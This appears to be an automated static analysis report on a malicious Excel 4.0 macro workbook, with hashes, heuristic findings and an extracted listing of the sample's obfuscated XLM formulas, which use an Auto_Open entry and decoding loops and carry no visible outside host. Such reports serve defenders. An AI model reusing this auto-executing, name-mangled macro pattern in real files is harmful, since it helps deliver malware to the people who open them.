Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 6736b2b381fb3360…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-27 11:38:24 Authoring application: Microsoft Excel First seen: 2021-04-10
MD5: 035803220213d51d144a66665e1a159d SHA-1: 89c38b436478bf8d54da6e44231effb6bbbccc2c SHA-256: 6736b2b381fb3360c293127eaca7d55e50544c2325161bdc24121a167263b715
142 Risk Score

Heuristics 4

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6858 bytes
SHA-256: 93b60e938e3a5fd46d09b3e8bafcc423199155aa3380b252d7a3eadcdb6fb918
Detection
ClamAV: No threats found
Obfuscation or payload: likely
20 of 38 identifiers look randomly generated (e.g. 'tFOtPEAJxDrE') — consistent with name-mangling obfuscation.
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     19 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  VMtDpthWHz
' 0018     27 LABEL : Cell Value, String Constant - AKQpeybohftL len=0 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!B195 
' 0018     20 LABEL : Cell Value, String Constant - DcaZk len=0 
' 0018     22 LABEL : Cell Value, String Constant - ERpddht len=0 
' 0018     23 LABEL : Cell Value, String Constant - FGWRsTMZ len=0 
' 0018     20 LABEL : Cell Value, String Constant - fZFEB len=0 
' 0018     21 LABEL : Cell Value, String Constant - ixrdha len=0 
' 0018     23 LABEL : Cell Value, String Constant - JgcFHfjI len=0 
' 0018     24 LABEL : Cell Value, String Constant - JjylduVSU len=0 
' 0018     23 LABEL : Cell Value, String Constant - LXbqWEeJ len=0 
' 0018     24 LABEL : Cell Value, String Constant - mQnPYVlEz len=0 
' 0018     23 LABEL : Cell Value, String Constant - nnwQEnDZ len=0 
' 0018     22 LABEL : Cell Value, String Constant - NVVgrGP len=0 
' 0018     27 LABEL : Cell Value, String Constant - SPZxkNJDXcss len=0 
' 0018     27 LABEL : Cell Value, String Constant - tFOtPEAJxDrE len=0 
' 0018     25 LABEL : Cell Value, String Constant - tmrXpdZmmr len=0 
' 0018     22 LABEL : Cell Value, String Constant - WaeyKKg len=0 
' 0018     24 LABEL : Cell Value, String Constant - WQWmFdssW len=0 
' 0018     27 LABEL : Cell Value, String Constant - wTItftgJgqGB len=0 
' 0018     25 LABEL : Cell Value, String Constant - wWuqhmtrXs len=0 
' 0018     25 LABEL : Cell Value, String Constant - zczbyUrUnC len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  VMtDpthWHz,R58,"",-813.00000000000000000000
'  VMtDpthWHz,R59,"",535.00000000000000000000
'  VMtDpthWHz,R60,"",-15.00000000000000000000
'  VMtDpthWHz,R61,"",-631.00000000000000000000
'  VMtDpthWHz,R62,"",-353.00000000000000000000
'  VMtDpthWHz,R63,"",268.00000000000000000000
'  VMtDpthWHz,B99,"SET.NAME("AKQpeybohftL",0+VALUE("0"))",""
'  VMtDpthWHz,B102,"SET.NAME("ERpddht",AKQpeybohftL)",""
'  VMtDpthWHz,B106,"SET.NAME("nnwQEnDZ",AKQpeybohftL)",""
'  VMtDpthWHz,B110,"SET.NAME("NVVgrGP",COUNTA(SPZxkNJDXcss))",""
'  VMtDpthWHz,B113,"SET.NAME("LXbqWEeJ",COUNTA(WQWmFdssW))",""
'  VMtDpthWHz,B116,[],""
'  VMtDpthWHz,B119,"SET.NAME("WaeyKKg","")",""
'  VMtDpthWHz,B122,"ERpddht",""
'  VMtDpthWHz,B124,"SET.NAME("JjylduVSU",HLOOKUP("*",SPZxkNJDXcss,ERpddht,FALSE))",""
'  VMtDpthWHz,B127,"JgcFHfjI",""
'  VMtDpthWHz,B132,"SET.NAME("fZFEB",AKQpeybohftL)",""
'  VMtDpthWHz,B137,[],""
'  VMtDpthWHz,B142,"fZFEB",""
'  VMtDpthWHz,B147,"tmrXpdZmmr",""
'  VMtDpthWHz,B150,"FGWRsTMZ",""
'  VMtDpthWHz,B154,"mQnPYVlEz",""
'  VMtDpthWHz,B159,"SET.NAME("wWuqhmtrXs",VALUE(HLOOKUP("*",WQWmFdssW,mQnPYVlEz,FALSE)))",""
'  VMtDpthWHz,B161,"tFOtPEAJxDrE",""
'  VMtDpthWHz,B166,"WaeyKKg",""
'  VMtDpthWHz,B170,"nnwQEnDZ",""
'  VMtDpthWHz,B172,NEXT(),""
'  VMtDpthWHz,B175,"zczbyUrUnC",""
'  VMtDpthWHz,B180,[],""
'  VMtDpthWHz,B182,"wTItftgJgqGB",""
'  VMtDpthWHz,B187,NEXT(),""
'  VMtDpthWHz,B191,RETURN(),""
'  VMtDpthWHz,B217,"SET.NAME("ixrdha",B99)",""
'  VMtDpthWHz,B220,"SPZxkNJDXcss",""
'  VMtDpthWHz,B225,"SET.NAME("WQWmFdssW",R69C15)",""
'  VMtDpthWHz,B230,"SET.NAME("wTItftgJgqGB",235)",""
'  VMtDpthWHz,B232,"SET.NAME("DcaZk",2)",""
'  VMtDpthWHz,B234,ixrdha(),""
'  VMtDpthWHz,B235,HALT(),""

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